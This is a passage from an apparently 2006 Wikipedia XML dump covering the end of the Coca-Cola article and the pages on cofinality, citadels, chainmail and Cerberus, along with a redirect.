Coca-Cola is the best-selling soft drink in most countries. Nevertheless, there are some places like  New York state in the United States of America, where Pepsi leads the market; [[Texas]], in the USA, where [[Dr. Pepper]] is the number one soft drink; and [[Quebec]], [[Newfoundland and Labrador]], and [[Prince Edward Island]] in [[Canada]], where [[Pepsi]] is the market leader.{{fact}} In Peru,[[Inca Kola]], the &quot;national beverage&quot; (independently produced until 1999, when Coca-Cola acquired Corporación Inca Kola del Perú S.A., the Peruvian company that formerly produced it) is more popular.[http://www.allbusiness.com/periodicals/article/158163-1.html] In [[Sweden]], despite Coca-Cola's strong holiday-oriented marketing efforts, [[Julmust]] outsells Coca-Cola during the [[Christmas]] season.[http://kristallbeverage.com/KBJulmust.html]  Note that in [[Scotland]], where the locally produced [[Irn-Bru]] was once more popular, 2005 figures show that both Coca-Cola and Diet Coke now outsell Irn-Bru.[http://scotlandonsunday.scotsman.com/business.cfm?id=112872005]

It is often repeated as an urban legend that the Coca-Cola company mistranslated its product's name into a string of characters meaning &quot;Bite the wax tadpole&quot; while attempting to market the product in [[Chinese language|Chinese]].  In reality, some local Chinese shopkeepers did create their own signs in an effort to approximate the sound of the product's name, resulting in kǒukē-kǒulà (口蝌口蜡), which might more literally be translated as &quot;mouth tadpole, mouth wax&quot;.  However, the Coca-Cola company itself never adopted such a translation.  After reviewing all of the possible soundalikes, the company officially adopted kěkǒu-kělè (可口可乐), meaning roughly &quot;tasty and fun&quot;.

==Notes==
&lt;!-- Instructions for adding a footnote:
   NOTE: Footnotes in this article use names, not numbers. Please see [[Wikipedia:Footnote3]] for details.
     1) Assign your footnote a unique name, for example TheSun_Dec9.
     2) Add the macro {{ref|TheSun_Dec9}} to the body of the article, where you want the new footnote.
     3) Take note of the name of the footnote that immediately proceeds yours in the article body.
     4) Add #{{Note|TheSun_Dec9}} to the list, immediately below the footnote you noted in step3.
     5) Multiple footnotes to the same reference will not work: you must insert two uniquely-named footnotes.
   NOTE: It is important to add the Footnote in the right order in the list.
--&gt;
&lt;div style=&quot;font-size: 85%&quot;&gt;
#{{note|rielly}} {{cite book | author=Rielly, Edward J | title=Baseball and American Culture: Across the Diamond | publisher=Haworth Press | year=2003 | pages=133 | id = ISBN 0789014858}}
#{{note|Pendergrast}} {{cite book | author=Mark Pendergrast | title=For God, Country and Coca-Cola | publisher=Basic Books | year=2000 | pages=41–45 | id=ISBN 0465054684 }}
#{{note|Pendergrast2}} Pages 45–47: (Pendergrast, 2000)
#{{note|sun}} [http://www.southsideweb.com/n2hoops/suntrust.htm Sun Trust].
#{{note|Coca}} Luis A. Gómez, &quot;[http://www.narconews.com/Issue35/article1159.html Peruvian Drug Control Agency: Coca Cola Buys Coca Leaves],&quot; ''Narco News Bulletin'', January 28, 2005 (accessed June 10, 2005).
#{{note|Claus}} Barbara Mikkelson and David P. Mikkelson, &quot;[http://www.snopes.com/cokelore/santa.asp  The Claus That Refreshes],&quot; snopes.com, February 27, 2001 (accessed June 10, 2005).
#{{note|Seeley}} Seeley, Bill. &quot;''[http://www.artmetal.com/project/TOC/finishes/anodize.html Anodizing]''&quot;. May 1, 1997 (accessed January 15, 2006).
#{{note|myths}} Mikkelson and Mikkelson, &quot;[http://www.snopes.com/cokelore/acid.asp  Acid Slip],&quot; March 29, 2004 (accessed June 10, 2005); Mikkelson and Mikkelson, &quot;[http://www.snopes.com/cokelore/tooth.asp Tooth in Advertising],&quot; February 27, 2001 (accessed June 10, 2005); Mikkelson and Mikkelson, &quot;[http://www.snopes.com/cokelore/deadly.asp CO2 Fast, 2 Furious],&quot; April 2, 2004 (accessed June 10, 2005).
#{{note|grow}} John Vidal, &quot;[http://www.guardian.co.uk/india/story/0,12559,1341454,00.html Things grow better with Coke],&quot; ''Guardian Unlimited'', November 2, 2004 (accessed June 10, 2005).
#{{note|candy}} Michael F. Jacobson, &quot;[http://www.cspinet.org/sodapop/liquid_candy.htm Liquid Candy: How Soft Drinks are Harming Americans' Health],&quot; Center for Science in the Public Interest (accessed June 10, 2005).
#{{note|Calcium}} Ibid; Russell Robertson, &quot;[http://healthlink.mcw.edu/article/958143265.html Soda, Calcium, and Osteoporosis],&quot; Healthlink—Medical College of Wisconsin (accessed June 10, 2005).
#{{note|Bone}} &quot;[http://www.asbmr.org/news/press_releases/2003/newsrel06.cfm Cola Soft Drinks may Contribite to Lower Bone Mineral Density in Women],&quot; American Society for Bone and Mineral Research, September 19, 2003 (accessed June 10, 2005).
#{{note|Caffeine}} &quot;[http://www.cspinet.org/new/caffeine.htm Label Caffeine Content of Foods, Scientists Tell FDA],&quot; Center for Science in the Public Interest, July 31, 1997 (accessed June 10, 2005).
#{{note|Rumors}} [http://www2.coca-cola.com/contactus/myths_rumors/index.html Coca-Cola Myths and Rumors] The Coca-Cola Company (accessed June 10, 2005); &quot;[http://www.ific.org/foodinsight/2002/ja/caffdehydnbfi402.cfm Caffeine and Dehydration: Myth or Fact?],&quot; ''Food Insight'', July–August 2002 (accessed June 10, 2005).
#{{note|Video}} [http://www.documentary-film.net/search/video-listings.php?e=10 Mark Thomas Comedy Featuring Coke] Online Video about Coke and violations of good practice (accessed June 10, 2005).
&lt;!--READ ME!! PLEASE DO NOT JUST ADD NEW NOTES AT THE BOTTOM. See the instructions above on ordering. --&gt;
&lt;/div&gt;

==See also==
*[[The Coca-Cola Company]]
*[[World of Coca-Cola|The World of Coca-Cola]]
*[[Soft drink]]
*[[Pepsi-Cola]] (competitor)
*[[Jolt Cola]]
*[[OpenCola]]
*[[Mecca Cola]]
*[[Julmust]] 

===Types of Coke===
*[[Coca-Cola]]
*[[New Coke]]
*[[Diet Coke]]
*[[Coca-Cola C2]]
*[[Coca-Cola Zero]]
*[[Cherry Coke]]
*[[Diet Cherry Coke]]
*[[Vanilla Coke]]
*[[Diet Vanilla Coke]]
*[[Coca-Cola with Lime]]
*[[Diet Coke with Lime]]
*[[Coca-Cola with Lemon]]
*[[Diet Coke with Lemon]]
*[[Raspberry Coke]]
*[[Diet Raspberry Coke]]
*[[Coca-Cola Light]]
*[[Coca-Cola Light with Citra]]
*[[Coca-Cola Light with Lemon]] (retired 2005)
*[[Coca-Cola Light with Orange]]
*[[Diet Coke sweetened with Splenda]] 
*[[Black Cherry Vanilla Coca-Cola]] 
*[[Diet Black Cherry Vanilla Coke]]
*[[Coca-Cola Blāk]] (coming 2006)
*[[Coke Sakto]]
*[[Coca-Cola M5]]
*[[Coca-Cola Citra]]
*[[Diet Coke Citra]]

===Brands owned by Coca-Cola===
{{main|Coca-Cola brands}}

==External links==
{{Commons|Coca-Cola}}
*[http://www.cocacola.com/ Coca-Cola website]
*[http://www.knowmore.org/index.php/Coca-cola Coca-cola] company entry at Knowmore.org, contains an in-depth look at criticisms against [http://www.knowmore.org/index.php/Coca-cola Coke].
*[http://www.CokeCans.com Ronen Liwski's Coca-Cola Cans Collection]
*[http://www.softdrinkguide.com/ SoftDrinkGuide.com]
*[http://xenon.stanford.edu/~liao/cokewww.html Bobby's Coca-Cola on the Web]
*[http://csmweb2.emcweb.com/durable/1998/10/08/p9s3.htm A page about New Coke]
*[http://www.straightdope.com/classics/a2_033.html The Straight Dope: Is it true Coca-Cola once contained cocaine?]
*[http://www.snopes.com/cokelore/ Coca-Cola urban legends (or not)]
*[http://www2.coca-cola.com/contactus/myths_rumors/index.html Coca-Cola Myths &amp; Rumors]
*[http://www.aldaver.com/index.html#world20]: FIFA U-21 World Youth Championships Emblems and Trophy Image
*[http://www.therisenrealm.com/cocacola_recipe.html Coca Cola Recipe]
*[http://www.msnbc.msn.com/id/7257920/ Coke to launch new no-calorie soda] MSNBC story on Coca-Cola Zero, which clarifies that it is ''not'' the same as the Splenda-sweetened product
*[http://www.killercoke.org Killer Coke, the boycott coke foundation] 
*[http://www.inminds.co.uk/boycott-coca-cola.html] Boycott Israel Campaign's Coca-Cola Page]

{{colas}}

{{Cc brands}}

[[Category:Boycotts]]
[[Category:Cola]]
[[Category:Coca-Cola]]
[[Category:Coca-Cola brands]]
[[Category:Cuisine of the Southern United States]]
[[Category:Soft drinks]]

[[ar:كوكاكولا]]
[[bg:Кока Кола]]
[[ca:Coca-Cola]]
[[cy:Coca-Cola]]
[[da:Coca-Cola]]
[[de:Coca-Cola]]
[[es:Coca-Cola]]
[[eo:Koka-kolao]]
[[fa:کوکاکولا]]
[[fr:Coca-Cola]]
[[ko:코카콜라]]
[[id:Coca-Cola]]
[[it:Coca-Cola]]
[[he:קוקה קולה]]
[[hu:Coca-Cola]]
[[nl:Coca-Cola]]
[[ja:コカ・コーラ]]
[[no:Coca-Cola]]
[[pl:Coca-Cola]]
[[pt:Coca-Cola]]
[[ro:Coca-Cola]]
[[ru:Кока-кола]]
[[sr:Кока-кола]]
[[sq:Coca-Cola]]
[[simple:Coca-Cola]]
[[sl:Coca-Cola]]
[[fi:Coca-Cola]]
[[sv:Coca-Cola]]
[[th:โค้ก]]
[[zh:可口可乐]]</text>
    </revision>
  </page>
  <page>
    <title>Cofinality</title>
    <id>6693</id>
    <revision>
      <id>40582792</id>
      <timestamp>2006-02-21T16:43:45Z</timestamp>
      <contributor>
        <username>Paul August</username>
        <id>87355</id>
      </contributor>
      <comment>move def of regular to lead, and move &quot;Examples&quot; section to follow lead, create a &quot;Properties&quot; section for the remainder of the content</comment>
      <text xml:space="preserve">In [[mathematics]], especially in [[order theory]], a [[subset]] ''B'' of a [[partially ordered set]] ''A'' is '''cofinal''' if for every ''a'' in ''A'' there is a ''b'' in ''B'' such that ''a'' &amp;le; ''b''. The '''cofinality''' of ''A'' is the least [[cardinal number|cardinality]] of a cofinal subset and is denoted cf(''A''). Cofinality is only an interesting concept if there is no [[greatest element]] in ''A'' since otherwise the cofinality is 1.

A cardinal &amp;kappa; such that cf(&amp;kappa;) = &amp;kappa; is called [[regular cardinal|regular]]; otherwise it is called '''singular'''.

Note that the definition of cofinality given above relies on the [[axiom of choice]], as it uses the fact that every non-empty set of [[cardinal number]]s has a least member. The cofinality of a partially ordered set ''A'' can alternatively be defined as the least [[ordinal number|ordinal]] ''x'' such that there is a function from ''x'' to ''A'' with cofinal image. This second definition makes sense without the axiom of choice. If the axiom of choice is assumed, as will be the case in the rest of this article, then the two definitions are equivalent.

Cofinality can also be similarly defined for a [[directed set]] and it is used to generalize the notion of a [[subsequence]] in a [[Net (mathematics)|net]].

== Examples ==
* The set of all maximal elements ''M'', of a partially ordered set ''A'', is a subset of every cofinal set in ''A''. Thus if ''A'' is finite, its cofinality is equal to the cardinality of ''M''.
* A subset of the natural numbers '''N''', is cofinal in '''N''', if and only if it is infinite.
* It follows from the above example that, the cofinality of ℵ&lt;sub&gt;0&lt;/sub&gt; is ℵ&lt;sub&gt;0&lt;/sub&gt;.  Thus ℵ&lt;sub&gt;0&lt;/sub&gt; is [[regular cardinal|regular]].
* Let ''A'' be a set of order ''n'', and consider the subsets of ''A'' with order less than or equal to ''m''.  This is a partial order under inclusion with cofinality ''n'' [[choose]] ''m''.
* The cofinality of any nonzero finite ordinal, or indeed any finite directed set, is 1, since they have a greatest element.
* The cofinality of the [[real number]]s with their usual ordering is ℵ&lt;sub&gt;0&lt;/sub&gt;, since '''N''' is cofinal in '''R'''.  Note that the usual ordering of '''R''' is not order isomorphic to ''c'', the cardinality of the continuum, so may have different cofinality.

==Properties==
If ''A'' admits a [[total order|totally ordered]] cofinal subset, then we can find a subset ''B'' which is well-ordered and cofinal in ''A''. Moreover, any cofinal subset of ''B'' whose cardinality is equal to the cofinality of ''B'' is well-ordered, and these sets are all [[order isomorphism|order isomorphic]].

For any infinite [[cardinal number]] &amp;kappa;, one equivalent definition is cf(κ) is the least cardinal such that there is an [[unbounded]] function from it to κ.  Another closely related equivalent definition is cf(&amp;kappa;) = the cardinality of the smallest collection of sets of strictly smaller cardinals such that their sum is &amp;kappa;; more precisely

:&lt;math&gt;\mathrm{cf}(\kappa) = \inf \{ \mathrm{card}(I)\ |\ \kappa = \sum_{i \in I} \lambda_i\ \mathrm{and}\ (\forall i)(\lambda_i &lt; \kappa)\}&lt;/math&gt;

That the set above is nonempty comes from the fact that

:&lt;math&gt;\kappa = \bigcup_{i \in \kappa} \{i\}&lt;/math&gt;

i.e. the [[disjoint union]] of &amp;kappa; singleton sets. This implies immediately that cf(&amp;kappa;) &amp;le; &amp;kappa;.
The cofinality of any totally ordered set is regular, so one has cf(&amp;kappa;) = cf(cf(&amp;kappa;)).

Using [[König's theorem]], one can prove &amp;kappa; &lt; &amp;kappa;&lt;sup&gt;cf(&amp;kappa;)&lt;/sup&gt; and &amp;kappa; &lt; cf(2&lt;sup&gt;&amp;kappa;&lt;/sup&gt;) for any infinite cardinal &amp;kappa;.

The last inequality implies that the cofinality of the [[cardinality of the continuum]] must be uncountable. On the other hand,

:&lt;math&gt; \aleph_\omega = \bigcup_{n &lt; \omega} \aleph_n &lt;/math&gt;.

the [[ordinal number]] &amp;omega; being the first infinite ordinal, so that the cofinality of &lt;math&gt;\aleph_\omega&lt;/math&gt; is card(&amp;omega;) = &lt;math&gt;\aleph_0&lt;/math&gt;.  (In particular, &lt;math&gt;\aleph_\omega&lt;/math&gt; is singular.) Therefore,

:&lt;math&gt;2^{\aleph_0}\neq\aleph_\omega,&lt;/math&gt;

(Compare to the [[continuum hypothesis]], which states &lt;math&gt;2^{\aleph_0}= \aleph_1&lt;/math&gt;.)

Generalizing this argument, one can prove that for a [[limit ordinal]] &amp;delta;

:&lt;math&gt;\mathrm{cf} (\aleph_\delta) = \mathrm{cf} (\delta) &lt;/math&gt;.

[[Category:Order theory]]
[[Category:Set theory]]</text>
    </revision>
  </page>
  <page>
    <title>Chibi-Usa</title>
    <id>6694</id>
    <revision>
      <id>26905556</id>
      <timestamp>2005-10-30T19:55:49Z</timestamp>
      <contributor>
        <username>ReyBrujo</username>
        <id>139561</id>
      </contributor>
      <comment>Categorized</comment>
      <text xml:space="preserve">#REDIRECT [[Chibiusa]] {{R from alternate spelling}}</text>
    </revision>
  </page>
  <page>
    <title>Citadel</title>
    <id>6695</id>
    <revision>
      <id>38986784</id>
      <timestamp>2006-02-09T23:27:06Z</timestamp>
      <contributor>
        <username>Gaius Cornelius</username>
        <id>293907</id>
      </contributor>
      <minor />
      <comment>[[WP:AWB|AWB assisted]] clean up + typo fix</comment>
      <text xml:space="preserve">:''This article is about a type of fortification. For other meanings of this word, please see: [[Citadel (disambiguation)]].''
[[Image:Ireland-Citadel.jpg|thumbnail|Citadel's view from the top of an Irish castle]]
[[Image:Fort San Felipe del Morro.aerial view.jpg|thumb|[[Fort San Felipe del Morro|San Felipe del Morro]].]]
A '''citadel''' is a [[Fortification|fortress]] for protecting a [[town]], sometimes with a [[castle]] in its middle. The term derives from the same [[Latin language|Latin]] root as the word &quot;city&quot;, ''civis'', meaning citizen. 

Citadels are most often used to protect a garrison or political power from the inhabitants of the town it is defending. They were designed to ensure loyalty from the town which they defended. For example [[Barcelona]] had a great citadel built in 1714 to intimidate the [[Catalan]]s against repeating their mid 17th and early 18th century rebellions against the Spanish central government. In the 19th century, as soon as the political climate had liberalised enough to permit it, the people of Barcelona had the citadel torn down, and replaced it with the city's main central park, the [[Parc de la Ciutadella]]. In ancient Gr. the citadel, placed on a [[commanding]] eminence, was important in the life of the people, serving as a [[refuge]] and [[stronghold]] in peril and containing military and food supplies, the [[shrine]] of the god and a royal [[palace]]. In the [[Middle Ages]] the citadel was the last defense of a besieged army, often held after the town had been conquered, and affording retreat to the country around the town.

In a [[fortification]] with [[bastion]]s, the '''citadel''' is the strongest part of the system, sometimes well inside of the outer walls and bastions, but often forming part of the outer wall for the sake of economy.  It is positioned to be the last line of defense should the enemy breach the other components of the fortification system.

[[Category:Fortification]]

[[de:Zitadelle]]
[[eo:Citadelo]]
[[fr:Citadelle]]
[[it:Cittadella]]
[[nl:Citadel]]
[[pl:Cytadela]]
[[ru:Цитадель]]</text>
    </revision>
  </page>
  <page>
    <title>Chainmail</title>
    <id>6696</id>
    <revision>
      <id>42063432</id>
      <timestamp>2006-03-03T15:34:11Z</timestamp>
      <contributor>
        <ip>165.21.154.109</ip>
      </contributor>
      <comment>/* Manufacture */</comment>
      <text xml:space="preserve">{{otheruses}}

[[Image:Morgan Bible 28r detail.jpg|thumb|200px|&quot;[[David]] rejects the unaccustomed armour&quot; (detail of fol. 28r of the 13th century [[Morgan Bible]])]]
'''Mail''' (also '''maille''', often given as '''chain mail''' or '''chain maille''', though this is a modern usage) is a type of [[armour]] or jewelry that consists of small metal rings linked together in a pattern to form a mesh. Mail can sometimes be punctured by a [[spear]] or shorn by the blow from a heavy [[axe]] or [[sword]] and its flexibility means that its wearer is still somewhat vulnerable to blunt weapons. Nevertheless, it was an effective and popular defense for its ability to stop cutting weapons from piercing the skin. [[Medieval medicine|Medieval physicians]] could usually set [[Fracture (bone)|broken bone]]s, but when it came to preventing [[infection]] they were woefully inadequate. Thus the mail was weak in defending against wounds which could be more easily mended but strong against those to which the soldier was most vulnerable. The word ''chainmail'' is of relatively recent coinage, having been in use only since the 1700s, prior to this it was refered to simply as ''mail'' [http://www.regia.org/warfare/Mail.htm].

The word itself refers to the armour material, not the garment made from it. A shirt made from mail is a [[hauberk]], if knee-length; [[haubergeon]] if waist-length. Mail socks are called ''chausses'', mail hood as ''coif'' and mail mittens as ''mitons'''. A mail collar hanging from a helmet is ''camail''.

==History==
[[Image:Guerrier de Vachères (profil).png|thumb|right|Statue of a [[Gaul|Gallic]] warrior. Note the highly unusual vertical orientation of the chainmail armour.]]

Mail was invented some time in the mid [[1st millennium BC]], but it is unknown where and by whom it was first used. It may have been invented independently in [[Japan]] and in [[Europe]]. The earliest finds altogether are from a [[5th century BC]] [[Celt]]ic chieftain's burial located in Ciumesti, Romania. The [[Greek language|Greek]] term, [[cataphract]], came to be associated with heavy [[cavalry]] (as opposed to light [[mounted archer]]s). The [[Roman Republic]] first came into contact with mail fighting the Gauls in norther Italy, then known as Gallia Cisalpina (literally Gaul this side of the Alps). The Roman army adopted the technology for their troops in the form of the [[lorica hamata]] which was used as a primary form of armour, through the Imperial period where it was used alongside the [[lorica segmentata]].

The use of mail was prominent throughout the [[Middle Ages|High Middle Ages]], and reached its apex in the [[13th century]], when full body suits of mail armour were developed.

In the [[14th century]], [[plate armour]] began to supplement mail. It could still be seen after this point being worn by those who could not afford plate, however, and it was also common to wear a shirt of mail beneath plate armour to protect the [[joint]]s and the [[groin]].

There is quite a bit of extant mail around, but it is something that museums do not often display in any appreciable quantity.

==Etymology==
The word ''chainmail'' is  a [[pleonasm]] and a [[neologism]]: in the [[Middle Ages]] and [[Renaissance]], &quot;mail&quot;, &quot;mayle&quot; or ''chain'' was the [[English language|English]] name for it, while ''maille'' was the common [[French language|French]] name for it. This&amp;mdash;and the alternative spellings &quot;maile&quot; and &quot;maille&quot;&amp;mdash;derive through the [[Italian language|Italian]] ''maglia'', from the [[Latin]] ''macula'', meaning &quot;net&quot;.

==Manufacture==

Several patterns of linking the rings together have been known since ancient times, with the most common being the 1-to-4 pattern (where each ring is linked with four others). In [[Europe]], the 1-to-4 pattern was completely dominant. In [[East Asia]] (primarily [[Japan]]), mail was also common, but here several more patterns were utilized and an entire nomenclature developed around them. 

Historically, in Europe, from the pre-Roman period on, the rings composing a piece of mail would be riveted shut, to reduce the chance of the rings splitting open when subjected to a thrusting attack or a hit by an arrow.  Up until the 14th century mail was made of alternating rows of both riveted rings and solid rings. Both would have been made using wrought iron. The solid links would have been made by punching from a sheet. Forge welding was also used to create solid links, but the only know example from Europe is that of the 7th century Coppergate mail drape. Outside of Europe this practice was more common such as the well known &quot;theta&quot; links from India.

In modern re-enactment (such as that of the [[Society for Creative Anachronism]]) and [[live action role-playing game]]s (LARPs), suits of mail and mail jewelry are hand-made from rings of wire. They may or may not be welded or soldered but are rarely riveted. They may also be made of split sprung steel washers. Usually two pairs of pliers are used to bend the washers open and closed while &quot;knitting&quot; the mail. The resulting mail is usually heavier than traditional wire-wound mail, but very durable. When not used for combat, aluminum is sometimes used to reduce the garment's weight by as much two thirds, with a proportional decrease in strength.

==Modern uses==
 [[Image:Woman wearing chainmail.jpg|right|thumb|]] During [[World War I]], mail was evaluated as a material for [[bullet proof vest]]s, but results were unsatisfactory as the rings would fragment and further aggravate the damage. A mail fringe, designed by [[Captain Cruise]] of the British Infantry, was added to helmets to protect the face but this proved unpopular with soldiers, in spite of being proven to defend against a three-ounce [[shrapnel]] round fired at a distance of one hundred yards (92.3m).

Today, there are machines which knit metal wires to produce protective mail, usually with rings welded together, for use in protective clothing for butchers (against meat-packing equipment) and scuba divers (against shark teeth). There is also [http://www.mailleartisans.org/articles/articledisplay.cgi?key=9612 anecdotal evidence] to suggest that mail is superior to heavy leather for protecting motorcyclists from injury should they be thrown from their motorcycles.

The [[British police]] use mail gloves for dealing with knife-armed aggressors.

Mail also has applications in sculpture and jewelry, especially when made out of precious metals or colorful [[anodising|anodized]] metals. Recent trends in mail artwork include headdresses, Christmas ornaments, chess sets, and all manner of jewelry. For these non-traditional applications, hundreds of new weaves or patterns have been invented.

Mail suits are also used as protection from high voltages - they form a [[faraday cage]] around the wearer.

==In film==
In many [[film]]s, knitted cloth spray-painted with a metallic paint is used instead of actual chainmail to cut down on cost.  Films more dedicated to [[costume]] accuracy often use [[Acrylonitrile butadiene styrene|ABS plastic]] rings, for the lower cost and weight. Thousands of such ABS mail coats were made for the film of ''[[The Lord of the Rings]]''.  In ''[[Mad Max Beyond Thunderdome]]'', [[Tina Turner]] wore a real metal mail shirt that weighed over 40 pounds (18 kg).

==External links==

*[http://www.armatura.connectfree.co.uk/arma/mail.htm Excavated lorica hamata]
*[http://www.wallacecollection.org/i_s/publications/mail_construction.htm The Construction and Metallurgy of Mail Armour in the Wallace Collection] by David Edge
* [http://www.armourresearchsociety.org/ Armour Research Society]
* [http://mailleartisans.org/ The Maille Artisans International League (MAIL)]
* http://artofchainmail.com/history.html 
*Construction tips
** [http://realbeer.com/jjpalmer/HowtoChain.html The Apprentice Armorer's Illustrated Handbook For Making Mail]
** [http://www.chainmailstore.com/cgi-bin/forum/ultimatebb.cgi The Ring Lord Chainmail Discussion Forum]
** [http://derakon.chainmailstore.com/inst.html Derakon's Chainmaille Instructions]

[[Category:Personal armor]]
[[Category:Viking Age]]

[[de:Kettenrüstung]]
[[es:Cota de malla]]
[[fi:Rengashaarniska]]
[[fr:Cotte de mailles]]
[[he:שריון שרשראות]]
[[nl:Maliënkolder]]
[[no:Ringbrynje]]
[[pl:Kolczuga]]
[[ru:Кольчуга]]</text>
    </revision>
  </page>
  <page>
    <title>Cerberus</title>
    <id>6697</id>
    <restrictions>move=:edit=</restrictions>
    <revision>
      <id>42091540</id>
      <timestamp>2006-03-03T19:47:02Z</timestamp>
      <contributor>
        <username>Boredzo</username>
        <id>109221</id>
      </contributor>
      <comment>/* Theories of origin */ Rewording first paragraph slightly, to fix grammar.</comment>
      <text xml:space="preserve">:''This article is about the [[Mythology|myth]]ical three-headed guard dog. For other uses, see [[Cerberus (disambiguation)]].''

[[Image:Cerberus-Blake.jpeg|right|thumbnail|250px|Cerberus - Watercolor by [[William Blake]]]]

In [[Greek mythology]], '''Cerberus''' or '''Cerberos''' ([[Greek language|Greek]] &amp;#922;&amp;#8051;&amp;#961;&amp;#946;&amp;#949;&amp;#961;&amp;#959;&amp;#962;, ''Kerberos'', ''[[demon]] of the pit''), was the [[hound]] of [[Hades]]&amp;mdash;a monstrous [[Multi-headed animal|three-headed]] [[dog]] (sometimes said to have 50 or 100 heads) with a [[snake]] for a [[tail]] and innumerable snake heads on his [[back]].

He guarded the gate to Hades (the Greek underworld) and ensured that the dead could not leave and the living could not enter.  His brother was [[Orthrus]]. He is the offspring of [[Echidna (mythology)|Echidna]] and [[Typhon]].

He was overcome several times:
*[[Heracles]]' final labour was to capture Cerberus, which he did by treating it with the first kindness it had ever received.
*[[Orpheus]] used his musical skills to lull Cerberus to sleep.
*[[Hermes]] puts him to sleep with water from the river [[Lethe]].
*In [[Roman mythology]], [[Aeneas]] lulled Cerberus to sleep with drugged honeycakes.
*In a later Roman tale, [[Psyche]] also lulled Cerberus to sleep with drugged honeycakes.

He can be found also in [[Dante Alighieri|Dante]]'s [[Divine Comedy]], in Canto VI of ''Inferno'' (third circle).

{{Greek myth (Hades)}}
== Heracles' capturing of Cerberus ==
[[Heracles]]' final labour was to capture Cerberus. After having been set the task, Heracles went to [[Eleusis]] to be initiated into the [[Eleusinian Mysteries]] so that he could learn how to enter and exit the underworld alive, and in passing absolve himself for killing [[centaur]]s. He found the entrance to the underworld at [[Tanaerum]], and [[Athena]] and [[Hermes]] helped him to traverse the entrance in each direction. He passed [[Charon (mythology)|Charon]] thanks to Hermes' insistence, and his own heavy and fierce frowning.

Whilst in the underworld, Heracles freed [[Theseus]] but the earth shook when he attempted to liberate [[Pirithous]], so he had to leave him behind. They had been imprisoned by Hades, by magic binding them to a bench, because they had attempted to kidnap [[Persephone]]. The magic was so strong that when Heracles pulled Theseus free, part of Theseus' thighs remained on the bench, explaining why his descendants had notably lean thighs.

In some versions, Heracles merely asks [[Hades]] for permission to take Cerberus, to which Hades agrees as long as Heracles does not harm the hound, though in other versions Heracles shot Hades with an arrow. In some versions, Heracles drags the dog out of Hades, passing through the cavern [[Acherusia]], but in other versions, Heracles treats the vicious dog with the first kindness it has seen, and easily walks out with it.

== Theories of origin ==
The constellation of [[Pisces]] was not always associated with two fish. The original sky fish was [[Piscis Austrinus]]. It was considered also to be two people, tied together; in some stories they became fish, and so they evolved into just being fish (without having ever been people). They are above the ecliptic (the sun's transit), but they are tied together under the ecliptic, in the area considered to represent the underworld. So the ecliptic cuts through the bond. The western one has mostly escaped, but is still bound, whereas the eastern one appears to still be bound to the ecliptic and heading downwards.

That Theseus is named as the person Heracles released from being bound in the underworld marks an awareness that myths surrounding Theseus connect him to the queen of the Amazons, and that he thus had to appear in the following story as a companion of Heracles. This emphasis on continuity is possibly connected to the fact that the constellation which features in the subsequent story also partly exists in Pisces.

Under Pisces is the constellation [[Cetus]], usually considered as a sea monster, or a whale. However, it is equally possible to view it as two closed gates with their gateposts, with a set of three stars behind the centre of the gate. Since they face the ecliptic, and are extremely close to it, such gates would be gates to the underworld (which was below the ecliptic). The guard of the gates to the underworld was traditionally [[Cerberus]], who had three heads, an association requiring use of the three main (but comparatively faint) stars, in the modern constellation [[Fornax]], as a tail. 

Since Cerberus was considered a permanent fixture of Hades, nothing much could happen to him that was damaging. There being no other constellations in this region, little more story could be given other than doing something non permanent to Cerberus, such as moving him to the other side of the gates.

Alternately, and earlier version may not have featured the tale of Theseus being bound, which may have been a later reapplication of the constellations to the story. In such a case, the non-escaping branch of Pisces may have been taken to represent the usual patrol of Cerberus on a [[leash]], whereas the other branch being taken to represent Cerberus' subsequent ascent (still on the leash, thus still having to eventually return)

==Trivia==
*[[The Massachusetts Institute of Technology]] developed [[Kerberos (protocol)|Kerberos]] as a [[computer network]] [[authentication]] [[cryptographic protocol|protocol]] which allows individuals communicating over an insecure network to prove their identity to one another in a secure manner.
*WebGroup Media LLC developed Cerberus [[Helpdesk]], a popular e-mail management application, to guard companies against the hell of [[technical support]].
*The cult comic book [[Cerebus]] was named for this Greek and Roman mythical figure; the different spelling wasn't intentional -- the original author accidentally left out the second 'r' in a simple case of bad spelling.
*In Spanish, ''cancerbero'' (from ''Canis Cerberus'', &quot;dog Cerberus&quot;) is a Latinate form for gatekeeper, even for a [[football]] (soccer) [[goalkeeper]].
*In [[Finnish language|Finnish]], a strict, angry doorman of a restaurant or nightclub (who is likely not to let you in for some reason) is sometimes jokingly called &quot;Kerberos&quot;. Also, there is similar usage of word &quot;Cerber&quot; in Polish. 
*Some aspects of video games, particulary of the [[Role-playing game|RPG]] genre, are based on mythology. Cerberus is no exception.
**In the ''[[Castlevania]]'' series, which makes extensive use of [[Hell]]-based themes, Cerberus is seen a few times, and is a boss in ''[[Castlevania: Circle of the Moon]]''.
**In Monolith's Blood, Cerberus was the third act's boss, most likely this is an allusion to [[Divine Comedy]], in which Cerberus resides in the third layer of Hell. 
**In ''[[Final Fantasy VIII]]'', one of the Guardian Forces was a three headed dog called Cerberus.  
**In [[God of War]], the player faces several Cerberus as part of [[Poseidon]]'s challenge, in order to obtain [[Pandora's Box]]. 
**In the [[PlayStation 2]] game, ''[[Devil May Cry 3]]'', Cerberus is one of the early bosses [[Dante (Devil May Cry)|Dante]] will face; he appears in Mission 3 and is encased in ice
**In the [[Wing Commander game series]], the [[TCS Cerberus]] was a '''''Hades-class'' Quick Strike Cruiser''' - the player's base of operations in the final installment of the series.
**Cerberus is a Heavy Assault Ship of the Caldari Faction in the ''[[EVE Online]]'' [[MMORPG]], and is currently disliked by certain members of the EVE Community who argue that it is comparatively underpowered and doesn't perform well in Player vs Player combat.
**Atlus' PS2 RPG ''[[Shin Megami Tensei III: Nocturne]]'' has Cerberus as a monster you can recruit.
**In the [[Resident Evil]] series, the zombie dogs are called cerberus.
**In the [[Playstation 2]] game [[R-Type Final]], Cerberus (designation R-13A) is the name of one of the ships the player can collect.
**In the [[Nintendo 64]] game [[Mischief Makers]], Cerberus Alpha is the name of a high-tech motorcycle boss.
**In [[Megaman X]], one of the bosses called the Guardian of the Underworld. It bears remarkable resemblance to a mechanical Cerberus.
**In [[Rygar]], one of the creatures Rygar is able to summon using the Diskarmor is the dog Cerberus.
**In [[Kingdom Hearts]], at the [[Colosseum]], you have to fight Cerberus after the seven rounds and [[Cloud Strife]]. This is not a [[trial]], and is the 'real thing' according to Phil.
* In Manhunt ''[[(video game)]]'' The final gang of the game are called The Cerberus
*In Japanese cartoons:
**Kerberos, the guardian of the seal, is one of the main characters in the popular Japanese [[anime]]'' [[Cardcaptor Sakura]]''
